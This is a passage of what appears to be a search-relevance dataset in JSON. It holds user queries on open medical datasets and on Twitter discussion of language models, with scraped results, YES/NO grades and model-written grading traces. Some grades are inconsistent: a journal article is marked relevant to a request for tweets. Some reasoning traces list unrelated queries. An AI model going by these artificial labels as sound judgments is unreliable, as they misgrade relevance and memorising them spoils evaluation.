            {
                "grade": "NO",
                "title": "Path finding for games",
                "url": "https://stackoverflow.com/questions/10271022/path-finding-for-games",
                "published_date": null,
                "text": "Dijkstra's algorithm calculates the shortest path to all nodes in a graph that are reachable from the starting position. For your average modern game, that would be both unnecessary and incredibly expensive.\nYou make a distinction between 2D and 3D, but it's worth noting that for any graph-based algorithm, the number of dimensions of your search space doesn't make a difference. The web page you linked to discusses waypoint graphs and navigation meshes; both are graph-based and could in principle work in any number of dimensions. Although there are no \"distinct square spaces to move to\", there are discrete \"slots\" in the space that the AI can move to and which have been carefully layed out by the game designers.\nConcluding, A* is actually THE algorithm to use in 3D games just as much as in 2D games. Let's see how A* works:\nAt the start, you know the coordinates of your current position and\nyour target position. You make an optimistic estimate of the\ndistance to your destination, for example the length of the straight\nline between the start position and the target.\nConsider the adjacent nodes in the graph. If one of them is your\ntarget (or contains it, in case of a navigation mesh), you're done.\nFor each adjacent node (in the case of a navigation mesh, this could\nbe the geometric center of the polygon or some other kind of\nmidpoint), estimate the associated cost of traveling along there as the\nsum of two measures: the length of the path you'd have traveled so\nfar, and another optimistic estimate of the distance that would still\nhave to be covered.\nSort your options from the previous step by their estimated cost\ntogether with all options that you've considered before, and pick\nthe option with the lowest estimated cost. Repeat from step 2.\nThere are some details I haven't discussed here, but this should be enough to see how A* is basically independent of the number of dimensions of your space. You should also be able to see why this works for continous spaces.\nThere are some closely related algorithms that deal with ",
                "model_trace": "Query Decomposition:\n1. {guidance on the pros and cons of different pathfinding algorithms}: The document provides a detailed explanation of A* and mentions Dijkstra's algorithm, but does not provide a comprehensive comparison of multiple algorithms -> ([1], UNSURE)\n2. {how to choose the right pathfinding algorithm for complex environments with obstacles and changing terrain}: The document explains how A* works and why it is suitable for both 2D and 3D games, but does not explicitly address changing terrain or provide a detailed decision-making framework -> ([2], UNSURE)\n\nAssessment: The document provides a good explanation of A* and mentions Dijkstra's algorithm, but it does not comprehensively compare multiple pathfinding algorithms or provide detailed guidance on choosing the right one for complex environments with obstacles and changing terrain. Therefore, it does not fully satisfy the user's query. NO."
            }
        ]
    },
    {
        "query": "I'm working on a machine learning project and I need to find some open-source datasets related to medical diagnosis and treatment. The data should include patient records, symptoms, test results, and treatment plans. I'd prefer if the dataset covers a variety of conditions, not just one specific disease. Can you help me find a good dataset that meets these requirements?",
        "grid_pos": [
            2,
            5
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "The queries cover a range of technical topics that require specific knowledge and resources to answer well, including:\n1. Structuring nested data in a CSV file for web scraping\n2. Finding open-source medical datasets for machine learning\n3. Choosing the right pathfinding algorithm for game AI\n4. Implementing real-time functionality like chat in a web app\n5. Recreating the retro UI style of Stranger Things in a personal project\nThese queries require the user to have a deep understanding of the respective domains, as well as familiarity with relevant tools, libraries, and best practices. The level of detail and nuance in each query makes them challenging for a standard search engine to answer comprehensively."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "The Medical Information Mart for Intensive Care",
                "url": "https://mimic.mit.edu/",
                "published_date": "2022-01-01",
                "text": "Freely available medical data for research.\n\nMIMIC-IV is separated into \u201cmodules\u201d to reflect the provenance of the data.\n\nMIMIC-IV-Core\n\nPatient demographics, admission tracking, and stay information is available in MIMIC-Core.\n\nRead more \u2026\n\nMIMIC-IV-Hosp\n\nThe Hosp module provides all data acquired from the hospital wide electronic health record.\nThis includes laboratory measurements, microbiology cultures, medication information, services provided, billed diagnoses and procedures, and so on.\n\nRead more \u2026\n\nMIMIC-IV-ICU\n\nThe ICU module contains information collected from the clinical information system used within the ICU.\nThis includes highly granular information such as hour-to-hour vital signs, information about fluid management, and other charted observations.\n\nRead more \u2026\n\nMIMIC-IV-ED\n\nThe ED module contains data for emergency department patients including a triage assessment, nurse-validated vital signs, medicine reconciliation, and treatment information.\n\nRead more \u2026\n\nMIMIC-IV-CXR\n\nMIMIC-cxr provides chest x-ray images and radiology reports for a subset of patients admitted to the emergency department.\n\nRead more \u2026\n\nMIMIC-IV-Note\n\nThe Note module contains deidentified free-text clinical notes for hospitalized patients.\n\nRead more \u2026\n\nMIMIC-III\n\nMIMIC-III is an older version of MIMIC. It contains an older group of patients (ending in 2012), and a subset of the ICU and hospital information available in MIMIC-IV.\nWe highly recommend researchers starting new studies to use the above modules in MIMIC-IV.\nWe will maintain MIMIC-III for a short period to allow researchers to transition.\n\nRead more \u2026",
                "model_trace": "Query Decomposition:\n1. {open-source datasets}: The document mentions that the data is freely available for research -> ([1], SATISFIED)\n2. {related to medical diagnosis and treatment}: The document includes modules with hospital and ICU data, which cover diagnoses, treatments, and other medical information -> ([1], SATISFIED)\n3. {data should include patient records, symptoms, test results, and treatment plans}: The document specifies that the dataset includes patient demographics, laboratory measurements, medication information, and treatment information -> ([1], SATISFIED)\n4. {covers a variety of conditions}: The document does not specify the variety of conditions but implies a wide range of medical data from hospital and ICU records -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents related to the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "MIMIC-III documentation",
                "url": "https://mimic.mit.edu/docs/iii/",
                "published_date": "2023-01-01",
                "text": "MIMIC-III (Medical Information Mart for Intensive Care III) is a large, freely-available database comprising deidentified health-related data associated with over forty thousand patients who stayed in critical care units of the Beth Israel Deaconess Medical Center between 2001 and 2012.\nThe database includes information such as demographics, vital sign measurements made at the bedside (~1 data point per hour), laboratory test results, procedures, medications, caregiver notes, imaging reports, and mortality (both in and out of hospital).\nMIMIC supports a diverse range of analytic studies spanning epidemiology, clinical decision-rule improvement, and electronic tool development. It is notable for three factors:\n\nit is freely available to researchers worldwide\nit encompasses a diverse and very large population of ICU patients\nit contains high temporal resolution data including lab results, electronic documentation, and bedside monitor trends and waveforms.\n\nFeedback\nWas this page helpful?\n\nGlad to hear it! Please raise an issue here to tell us how we can improve.\n\nSorry to hear that. Please raise an issue here to tell us how we can improve.",
                "model_trace": "Query Decomposition:\n1. [open-source datasets]: The document mentions that MIMIC-III is freely available to researchers worldwide -> ([1], SATISFIED)\n2. [related to medical diagnosis and treatment]: The document states that the dataset includes a wide range of health-related data like lab test results, procedures, medications, and caregiver notes -> ([1], SATISFIED)\n3. [data should include patient records, symptoms, test results, and treatment plans]: The document specifies that it includes demographics, vital sign measurements, laboratory test results, procedures, medications, and caregiver notes -> ([1], SATISFIED)\n4. [covers a variety of conditions, not just one specific disease]: The document mentions that it encompasses a diverse and very large population of ICU patients, implying a variety of conditions -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document provides information about an open-source dataset that includes comprehensive medical data covering a variety of conditions, making it very useful for the user's query. YES"
            },
            {
                "grade": "YES",
                "title": "MIMIC-IV documentation",
                "url": "https://mimic.mit.edu/docs/iv/",
                "published_date": "2023-01-01",
                "text": "MIMIC-IV is a relational database containing real hospital stays for patients admitted to a tertiary academic medical center in Boston, MA, USA. MIMIC-IV contains comprehensive information for each patient while they were in the hospital: laboratory measurements, medications administered, vital signs documented, and so on.\nThe database is intended to support a wide variety of research in healthcare.\nMIMIC-IV builds upon the success of MIMIC-III, and incorporates numerous improvements over MIMIC-III.\nMIMIC-IV is separated into \u201cmodules\u201d to reflect the provenance of the data. There are currently five modules:\n\nhosp - hospital level data for patients: labs, micro, and electronic medication administration\n icu - ICU level data. These are the event tables, and are identical in structure to MIMIC-III (chartevents, etc)\n ed - data from the emergency department\n cxr - lookup tables and meta-data from MIMIC-CXR, allowing linking to MIMIC-IV\n note - deidentified free-text clinical notes\n\nMIMIC-Note is currently not publicly available and the structure is subject to change.\nAll patients across all datasets are in the hosp module. However, not all ICU patients have ED data, not all ICU patients have CXRs, not all ED patients have hospital data, and so on. Within an individual dataset, there are also incomplete tables as certain electronic systems did not exist in the past, particularly the eMAR system.\nTables for each module are detailed in the respective sections.\n\nAbout MIMIC-IV\n\nIntroduction to MIMIC-IV including what the dataset is and what\u2019s changed since MIMIC-III.\n\nModules\n\nDescription of the data contained in each of the the MIMIC-IV modules.\n\nTutorials\n\nTutorials using MIMIC-IV.\n\nFeedback\nWas this page helpful?\n\nGlad to hear it! Please raise an issue here to tell us how we can improve.\n\nSorry to hear that. Please raise an issue here to tell us how we can improve.",
                "model_trace": "Query Decomposition:\n1. {open-source datasets}: The document is about the MIMIC-IV dataset, which is an open-source dataset -> ([1], SATISFIED)\n2. {related to medical diagnosis and treatment}: The document mentions that MIMIC-IV contains comprehensive information for each patient, including laboratory measurements, medications administered, and vital signs, which are relevant to medical diagnosis and treatment -> ([1], SATISFIED)\n3. {includes patient records, symptoms, test results, and treatment plans}: The document specifies that MIMIC-IV includes hospital level data, ICU data, emergency department data, and clinical notes (though not all are publicly available). This implies patient records, test results, and treatment plans are included -> ([2], SATISFIED)\n4. {covers a variety of conditions}: The document does not specify the variety of conditions but implies a broad dataset by mentioning comprehensive patient information from a tertiary academic medical center -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document provides information about an open-source dataset that includes comprehensive patient records, test results, and treatment plans, and is likely to cover a variety of conditions. YES"
            },
            {
                "grade": "YES",
                "title": "How to find medical data for machine learning",
                "url": "https://www.quora.com/How-do-I-find-medical-data-for-machine-learning",
                "published_date": null,
                "text": "How do I find medical data for machine learning?               Medical data for machine learning can be found through various sources such as publicly available datasets, research institutions, hospitals, and healthcare providers. Some examples of publicly available datasets for medical data include the MIMIC-III dataset, the NIH Chest X-ray dataset, and the National Cancer Institute's SEER dataset. It's important to note that accessing medical data can be subject to legal and ethical considerations, such as patient privacy laws and institutional review board approvals. Therefore, it's important to ensure that you have the necessary permissions and approvals before accessing medical data for machine learning purposes.      ||||I||||                Skip to content\n                Skip to search\n                Sign In\n                    How do I find medical data for machine learning?\n                                        Assistant\n                                        Bot\n                                      \u00b7\n                                          1y\n                                              Medical data for machine learning can be found through various sources such as publicly available datasets, research institutions, hospitals, and healthcare providers. Some examples of publicly available datasets for medical data include the MIMIC-III dataset, the NIH Chest X-ray dataset, and the National Cancer Institute's SEER dataset. It's important to note that accessing medical data can be subject to legal and ethical considerations, such as patient privacy laws and institutional review board approvals. Therefore, it's important to ensure that you have the necessary permissions and approv\n                                                      Continue Reading\n                                          Medical data for machine learning can be found through various sources such as publicly available datasets, research institutions, hospitals, and healthcare providers. Some examples of publicly available dataset",
                "model_trace": "Query Decomposition:\n1. {open-source datasets related to medical diagnosis and treatment}: The document mentions publicly available datasets like MIMIC-III, NIH Chest X-ray, and SEER, which are related to medical data -> ([1], SATISFIED)\n2. {data should include patient records, symptoms, test results, and treatment plans}: The document does not specify the details of what each dataset includes -> ([0], UNSURE)\n3. {covers a variety of conditions}: The document lists datasets but does not specify if they cover a variety of conditions -> ([0], UNSURE)\n\nAssessment: The document satisfies the key subcomponent about open-source medical datasets. Since the other subcomponents tagged with [0] do not affect the evaluation, the document is helpful for the user's request. YES."
            },
            {
                "grade": "YES",
                "title": "Best Open Source Healthcare Datasets for Machine ...",
                "url": "https://www.shaip.com/blog/healthcare-datasets-for-machine-learning-projects/",
                "published_date": null,
                "text": "March 26, 2024\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t The global healthcare system produces vast amounts of medical data on a daily basis, which has the potential to be utilized for machine learning applications. Across all industries, data is regarded as a precious asset that enables companies to gain a competitive edge, and the healthcare sector is no different.  This article will concisely address the obstacles encountered when dealing with medical data and provide a summary of publicly accessible healthcare datasets. Importance of Healthcare Datasets   Healthcare datasets are collections of patient information, such as medical records, diagnoses, treatments, genetic data, and lifestyle details. They are very important in today\u2019s world, where AI is used more and more. Here\u2019s why:  Understanding Patient Health:  Healthcare datasets give doctors a full picture of a patient\u2019s health. For example, data about a patient\u2019s medical history, medicines, and lifestyle can help predict if they might get a chronic disease. This lets doctors step in early and make a treatment plan just for that patient. Helping Medical Research: By studying healthcare datasets, medical researchers can look at how cancer patients are treated and how they recover. They can find the treatments that work best in the real world. For example, by looking at tumor samples in biobanks and patient treatment histories, researchers can learn how specific mutations and cancer proteins react to different treatments. This data-driven approach helps find trends that lead to better patient outcomes. Better Diagnosis and Treatment: Doctors use AI tools to look at healthcare datasets and find important patterns. This helps them diagnose and treat illnesses better. In radiology, AI can find problems in scans faster and more accurately than humans. This means doctors can find diseases sooner and start the right treatment earlier. Medical image annotation can lead to quicker and better diagnosis, which improves patient health. Helping Pub",
                "model_trace": "Query Decomposition:\n1. {open-source datasets}: The document mentions publicly accessible healthcare datasets, which implies open-source datasets -> ([1], SATISFIED)\n2. {related to medical diagnosis and treatment}: The document discusses healthcare datasets that include patient records, diagnoses, and treatments -> ([1], SATISFIED)\n3. {data should include patient records, symptoms, test results, and treatment plans}: The document mentions patient information such as medical records, diagnoses, and treatments, but does not explicitly mention symptoms and test results -> ([2], UNSURE)\n4. {covers a variety of conditions}: The document does not specify whether the datasets cover a variety of conditions -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {open-source datasets} and {related to medical diagnosis and treatment}, which are both satisfied. The document provides a summary of healthcare datasets that include patient records, diagnoses, and treatments, which aligns well with the user's intent. YES."
            },
            {
                "grade": "YES",
                "title": "Top 27 Free Healthcare Datasets for Machine Learning",
                "url": "https://www.iguazio.com/blog/top-22-free-healthcare-datasets-for-machine-learning/",
                "published_date": null,
                "text": "Alexandra Quinn\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t| October 31, 2023 \n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\n\t\t \n\t\t\t\t\t\t\t\t\nMachine Learning is revolutionizing the world of healthcare. ML models can help predict patient deterioration, optimize logistics, assist with real-time surgery and even determine drug dosage. As a result, medical personnel are able to work more efficiently, serve patients better and provide higher quality healthcare.\nWhen developing and training machine learning models for healthcare, open and free datasets are an essential starting point for data scientists and engineers, and they can be hard to come by. Here are 22 excellent open datasets for healthcare machine learning:\nGeneral Healthcare, Medical and Life Sciences Datasets\n1. WHO \nGlobal Health Observatory (GHO) resources by the WHO (World Health Organization). The GHO includes data sets and reports from 194 countries on a wide variety of topics. Health topics include mortality, child nutrition, water and sanitation, HIV/AIDS, health systems, injuries, and more.\n2. DHS Program\u00a0\nMedical datasets from the DHS (Democratic and Health Services) Program spanning multiple topics. These datasets include data from around the globe, both from individual countries as well as cross-country comparisons. They are based on surveys, biomarker testing and geographic data.\n3. HealthData.gov \nThe official US government healthcare website, which includes multiple datasets of the US population. Dataset topics range from COVID-19 to health equity, and more.\n4. Life Science Database Archive \nA life science dataset from Japan, gathered by life scientists over long periods of time. Includes datasets about organs, antigens, chemicals and more.\n5. Data.gov.au \nThe official source of Australian open government data. Includes all Australian datasets, healthcare and beyond.\n6. Kent Ridge Biomedical Datasets \nDatasets from the biomedical field. This database includes journal-published data.\n7. CDC WONDER \nA US CDC (Centers for Disease Control and Prevention) database named WONDER (Wide-ranging Onlin",
                "model_trace": "Query Decomposition:\n1. {open-source datasets related to medical diagnosis and treatment}: This document lists multiple open-source healthcare datasets, which likely include medical diagnosis and treatment data -> ([1], SATISFIED)\n2. {data should include patient records, symptoms, test results, and treatment plans}: The document does not specify the exact contents of each dataset, so it's unclear if these specific data types are included -> ([0], UNSURE)\n3. {variety of conditions, not just one specific disease}: The document mentions datasets covering a wide variety of health topics, suggesting a variety of conditions -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {open-source datasets related to medical diagnosis and treatment} and {variety of conditions, not just one specific disease}. Both of these subcomponents are satisfied, making the document helpful for the user's query. YES."
            }
        ]
    },
    {
        "query": "I'm looking for information on the latest developments in AI-powered language models. Can you find me some recent Twitter posts discussing the capabilities and limitations of large language models like GPT-3 or PaLM?",
        "grid_pos": [
            2,
            6
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Twitter",
        "reasoning_trace": [
            "1. The first query is looking for recent Twitter discussions on the capabilities and limitations of large language models like GPT-3 and PaLM. This requires a good understanding of the current state of AI and language models.\n\n2. The second query is about a new type of renewable energy technology using ocean currents. The user is looking for Twitter discussions on the science and technology behind this.\n\n3. The third query is about the environmental impact of cryptocurrency mining, specifically the energy consumption and carbon footprint. The user wants to find relevant Twitter threads on this topic.\n\n4. The fourth query is the user trying to remember the title of an animated movie they saw as a child, which sounds like \"Howl's Moving Castle\". Providing the answer in the reasoning section.\n\n5. The fifth query is a middle school science teacher looking for engaging Twitter accounts that post about new discoveries in STEM fields, to share with their students."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/mcxfrank/status/1640379280990560258",
                "published_date": "2023-03-27",
                "text": "How do we compare the scale of language learning input for large language models vs. humans? I've been trying to come to grips with recent progress in AI. Let me explain these two illustrations I made to help. \ud83e\uddf5 https://twitter.com/mcxfrank/status/1640379247373197313/photo/1| created_at: Mon Mar 27 15:44:24 +0000 2023 | favorite_count: 1579 | quote_count: 54 | reply_count: 60 | retweet_count: 378 | is_quote_status: False | retweeted: False | lang: en Recent progress in AI is truly astonishing, though somewhat hard to interpret. I don't want to reiterate recent discussion, but @spiantado has a good take in the first part of https://lingbuzz.net/lingbuzz/007180; l like this thoughtful piece by @MelMitchell1 as well: https://www.pnas.org/doi/10.1073/pnas.2300963120| created_at: Mon Mar 27 15:44:24 +0000 2023 | favorite_count: 88 | quote_count: 0 | reply_count: 2 | retweet_count: 7 | is_quote_status: False | retweeted: False | lang: en Many caveats still apply. LLMs are far from perfect, and I am still struggling with their immediate and eventual impacts on science (see linked thread). My goal in the current thread is to think about them as cognitive artifacts instead. https://twitter.com/mcxfrank/status/1638589956238225408?s=20| created_at: Mon Mar 27 15:44:25 +0000 2023 | favorite_count: 61 | quote_count: 0 | reply_count: 1 | retweet_count: 1 | is_quote_status: True | retweeted: False | lang: en For cognitive scientists interested in the emergence of intelligent behavior, LLMs suggest that some wide range of interesting adaptive behaviors can emerge given enough scale. Obviously, there's huge debate over what counts as intelligent, and I'm not going to solve that here.| created_at: Mon Mar 27 15:44:26 +0000 2023 | favorite_count: 67 | quote_count: 0 | reply_count: 1 | retweet_count: 4 | is_quote_status: False | retweeted: False | lang: en But: for my money, we start seeing *really* interesting behaviors at the scale of GPT3. Prompting for few shot tasks felt radically unexpected and new, and suggested task abstract",
                "model_trace": "Query Decomposition:\n1. {latest developments in AI-powered language models}: The document discusses recent progress in AI, specifically large language models -> ([1], SATISFIED)\n2. {Twitter posts}: The document is a Twitter post -> ([1], SATISFIED)\n3. {discussing capabilities and limitations of large language models like GPT-3 or PaLM}: The document mentions capabilities, limitations, and debates over intelligent behavior in large language models such as GPT-3 -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/DanHendrycks/status/1635706825290174464",
                "published_date": "2023-03-14",
                "text": "Some impressions from using GPT-4 \ud83e\uddf5| created_at: Tue Mar 14 18:17:51 +0000 2023 | favorite_count: 345 | quote_count: 3 | reply_count: 5 | retweet_count: 51 | is_quote_status: False | retweeted: False | lang: en It knows many esoteric facts (e.g., the meaning of obscure songs, knows what area a researcher works in, can contrast ML optimizers like Adam vs AdamW like in a PhD oral exam, and so on).\n\nMy rule-of-thumb is that\n\"if it's on the internet 5 or more times, GPT-4 remembers it.\"| created_at: Tue Mar 14 18:17:51 +0000 2023 | favorite_count: 195 | quote_count: 2 | reply_count: 1 | retweet_count: 27 | is_quote_status: False | retweeted: False | lang: en Since it gets 86.4% on our MMLU benchmark, that suggests GPT-4.5 should be able to reach expert-level performance.\n\nGPT-2: Language Models are Unsupervised Multitask Learners\nGPT-3: Language Models are Few-Shot Learners\nGPT-4: Language Models are... Almost Omniscient| created_at: Tue Mar 14 18:17:51 +0000 2023 | favorite_count: 119 | quote_count: 1 | reply_count: 4 | retweet_count: 9 | is_quote_status: False | retweeted: False | lang: en It's bad at copy editing.\n\nIf you give it a paragraph to improve, it will suggest fixing typos that don't exist, or adding commas that are already present.\nIts poor ability to keep track of these low-level details might be explained by a sparse self-attention scheme.| created_at: Tue Mar 14 18:17:51 +0000 2023 | favorite_count: 141 | quote_count: 4 | reply_count: 5 | retweet_count: 5 | is_quote_status: False | retweeted: False | lang: en It's so good at few-shot learning that I expect the death of various types of text-based benchmarks. It is probably better at annotating than most MTurk and even Surge ($20/hr) annotators.| created_at: Tue Mar 14 18:17:51 +0000 2023 | favorite_count: 117 | quote_count: 1 | reply_count: 2 | retweet_count: 6 | is_quote_status: False | retweeted: False | lang: en It certainly seems better at reasoning than ChatGPT 3.5.\nWhile this isn't a formal benchmark, https://iqtest.com/ showed a difference betw",
                "model_trace": "Query Decomposition:\n1. {latest developments in AI-powered language models}: The document discusses GPT-4, which is a recent development in AI-powered language models -> ([1], SATISFIED)\n2. {recent Twitter posts}: The document is a Twitter post from March 14, 2023 -> ([1], SATISFIED)\n3. {discussing capabilities of large language models like GPT-3 or PaLM}: The document discusses the capabilities of GPT-4, which is a successor to GPT-3 -> ([1], SATISFIED)\n4. {discussing limitations of large language models like GPT-3 or PaLM}: The document mentions limitations such as poor copy editing and issues with low-level detail tracking -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/mcxfrank/status/1640379269653331969",
                "published_date": "2023-03-27",
                "text": "How do we compare the scale of language learning input for large language models vs. humans? I've been trying to come to grips with recent progress in AI. Let me explain these two illustrations I made to help. \ud83e\uddf5 https://twitter.com/mcxfrank/status/1640379247373197313/photo/1| created_at: Mon Mar 27 15:44:24 +0000 2023 | favorite_count: 1579 | quote_count: 54 | reply_count: 60 | retweet_count: 378 | is_quote_status: False | retweeted: False | lang: en Recent progress in AI is truly astonishing, though somewhat hard to interpret. I don't want to reiterate recent discussion, but @spiantado has a good take in the first part of https://lingbuzz.net/lingbuzz/007180; l like this thoughtful piece by @MelMitchell1 as well: https://www.pnas.org/doi/10.1073/pnas.2300963120| created_at: Mon Mar 27 15:44:24 +0000 2023 | favorite_count: 88 | quote_count: 0 | reply_count: 2 | retweet_count: 7 | is_quote_status: False | retweeted: False | lang: en Many caveats still apply. LLMs are far from perfect, and I am still struggling with their immediate and eventual impacts on science (see linked thread). My goal in the current thread is to think about them as cognitive artifacts instead. https://twitter.com/mcxfrank/status/1638589956238225408?s=20| created_at: Mon Mar 27 15:44:25 +0000 2023 | favorite_count: 61 | quote_count: 0 | reply_count: 1 | retweet_count: 1 | is_quote_status: True | retweeted: False | lang: en For cognitive scientists interested in the emergence of intelligent behavior, LLMs suggest that some wide range of interesting adaptive behaviors can emerge given enough scale. Obviously, there's huge debate over what counts as intelligent, and I'm not going to solve that here.| created_at: Mon Mar 27 15:44:26 +0000 2023 | favorite_count: 67 | quote_count: 0 | reply_count: 1 | retweet_count: 4 | is_quote_status: False | retweeted: False | lang: en But: for my money, we start seeing *really* interesting behaviors at the scale of GPT3. Prompting for few shot tasks felt radically unexpected and new, and suggested task abstract",
                "model_trace": "Query Decomposition:\n1. {latest developments in AI-powered language models}: The document discusses recent progress in AI, particularly in the context of large language models -> ([1], SATISFIED)\n2. {Twitter posts}: The document is a collection of Twitter posts -> ([1], SATISFIED)\n3. {discussing the capabilities and limitations of large language models like GPT-3 or PaLM}: The Twitter posts discuss the scale, capabilities, and limitations of large language models, including GPT-3 -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document provides recent Twitter posts discussing the capabilities and limitations of large language models like GPT-3, making it helpful for the user's query. YES"
            },
            {
                "grade": "NO",
                "title": "The Limits of GPT-3 and Similar Large Language Models",
                "url": "https://link.springer.com/article/10.1007/s11023-022-09602-0",
                "published_date": null,
                "text": "1 Introduction  \u201cAre you a performer? Yes. Could you be considered a leading man? Yes. Do you have anything to do with sports? Yes. Would you be considered a writer? Yes. Do you do any drawings, like comic strips? Yes. Erm\u2026 You are a human being? \u201c. These are questions put to Salvador Dali when in 1957 he appeared on the television programme \u201cWhat\u2019s my line?\u201d. A group of blindfolded panellists was tasked with discovering the surrealist\u2019s occupation by asking yes/no questions. The problem of learning about identity through questions has recently been taken up by Floridi &amp; Chiriatti (2020) in the context of the language generator model GPT-3 (Brown et al., 2020). The model can be used to continue any textual prompt given to it while maintaining a consistent style, correct grammar and will usually make sense. The discussion of answering questions in the context of computer intelligence dates to the Turing Test and is still widely debated today (Damassino &amp; Novelli, 2020; Montemayor, 2021). In their article, Floridi and Chiriatti analyse GPT\u2019s ability to respond to questions. They look for the type of questions which \u2018may enable one to identify the nature of the source of their answers\u2019, which they call reversible, and at questions which they deem irreversible, meaning we cannot tell from the answers to them whether we are conversing with a human or a machine. Examples of the latter are mathematical, factual (trivia), and binary (yes/no) questions, while a potential source of reversible questions are semantic ones such that \u2018require understanding [\u2026] of both meaning and context\u2019, especially ones that seem to hinge on real-world experience. We take issue with some methodological underpinnings of their tests, which led them to dismiss GPT\u2019s abilities. By amending some of them, we wish to develop further the notion of reversibility, on the grounds that an accurate highlighting of the obstacles that the current machine learning paradigms face is relevant both to the accurate assessment of their shortcomings in be",
                "model_trace": "Query Decomposition:\n1. {latest developments in AI-powered language models}: The document discusses GPT-3 and its capabilities and limitations, but does not specify if it covers the latest developments -> ([2], UNSURE)\n2. {recent Twitter posts}: The document is an article from Springer and does not contain Twitter posts -> ([1], UNSATISFIED)\n3. {discussing the capabilities and limitations of large language models like GPT-3 or PaLM}: The document does discuss the capabilities and limitations of GPT-3 -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {recent Twitter posts} and {discussing the capabilities and limitations of large language models like GPT-3 or PaLM}. Since {recent Twitter posts} is UNSATISFIED, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "The current state of artificial intelligence generative ...",
                "url": "https://www.nature.com/articles/s41598-024-53303-w",
                "published_date": null,
                "text": "Introduction  The emergence of ChatGPT\u2014a natural language processing (NLP) model developed by OpenAI 1  to the general public has garnered global conversation on the utility of artificial intelligence (AI). OpenAI\u2019s Generative Pretrained Transformer (GPT) is a type of machine learning that specializes in pattern recognition and prediction and has been further trained using Reinforcement Learning from Human Feedback (RLHF) so that ChatGPT responses would be indistinguishable from human responses. Recently, OpenAI 1  has advertised the new model (GPT-4) as \u201cmore creative\u201d particularly \u201con creative and technical writing tasks\u201d in comparison to previous versions, although there are arguably semantic limitations such as nonsensical answers or the possibilities of incorrect information generation 2 . Given the accessibility of AI models in the current climate, research across a variety of domains has started to emerge, thus contributing to our growing understanding of the possibilities and potential limitations of AI. Creativity as a phenomenological construct is not immune to the effects of AI. For example, researchers have begun to assess AI models to determine appropriate design solutions 3  and logical reasoning 4 . These assessments focus on convergent thinking, i.e., determining one optimal solution to a pre-defined problem 5 . Traditionally, convergent thinking assumes an optimal single solution path and can be assessed through traditional intelligence measures or synthesis tasks. Although convergent thinking emphasizes single optimal solutions, this does not negate the potential for original or non-obvious solutions. However, convergent thinking tasks by design typically do not allow for flexible or out-of-the-box thinking. In contrast, divergent thinking involves generating multiple creative solutions to a problem which allows for the flexibility to determine multiple creative solutions 6 . Creativity researchers commonly focus on divergent creativity (in comparison to convergent creativity), given the associa",
                "model_trace": "Query Decomposition:\n1. {latest developments in AI-powered language models}: This document discusses recent advancements in AI models like GPT-4, which is relevant to the latest developments -> ([1], SATISFIED)\n2. {recent Twitter posts}: The document does not contain any Twitter posts -> ([0], UNSATISFIED)\n3. {capabilities and limitations of large language models like GPT-3 or PaLM}: The document discusses the capabilities and limitations of GPT models, including GPT-4, which is relevant to this subcomponent -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {latest developments in AI-powered language models} and {capabilities and limitations of large language models like GPT-3 or PaLM}. Both of these subcomponents are satisfied by the document. The subcomponent {recent Twitter posts} is tagged as [0], so it does not affect the evaluation.\n\nGiven that the document satisfies the relevant subcomponents, it is helpful for the user's query. YES."
            },
            {
                "grade": "NO",
                "title": "Large Language Models: Capabilities, Advancements, and ...",
                "url": "https://hatchworks.com/blog/gen-ai/large-language-models-guide/",
                "published_date": null,
                "text": "Large language models (LLMs) are the unsung heroes of recent Generative AI advancements, quietly working behind the scenes to understand and generate language as we know it. But how do they work? What are they capable of? And what should we look out for when using them?        Understanding Large Language Models  Let\u2019s get the basics out of the way. Here we\u2019ll define the LLM, explain how they work, and provide a timeline of key milestones in LLM development.   What is a Large Language Model? A large language model, often abbreviated to LLM, is a type of artificial intelligence model designed to understand natural language as well as generate it at a large scale. When we say human language, we don\u2019t just mean English, Spanish, or Cantonese. Those are certainly part of what LLMs are trained on but human language, in this context, also extends to:  Art Dance Morse code Genetic code Hieroglyphics Cryptography Sign language Body language Musical notation Chemical signaling Emojis and symbols Animal communication Haptic communications Traffic signs and signals Mathematical equations Programming languages  LLMs are trained on billions of parameters and have the ability to learn from a wide range of data sources. This extensive training enables them to predict and produce text based on the input they receive so that they can engage in conversations, answer queries, or even write code. Some of the leading LLMs include giants like GPT, LLaMa, LaMDA, PaLM 2, BERT, and ERNIE. They\u2019re at the heart of various applications, aiding in everything from customer service chatbots to content creation and software development. Some companies even build their own LLMs but that requires significant time, investment, and tech knowledge. It\u2019s much easier to integrate a pre-trained LLM into your own systems.   How Do Large Language Models Work? Large Language Models use a blend of neural networks and machine learning (ML). It\u2019s this blend that allows the technology to first process and then generate original text and imagery. Think of neur",
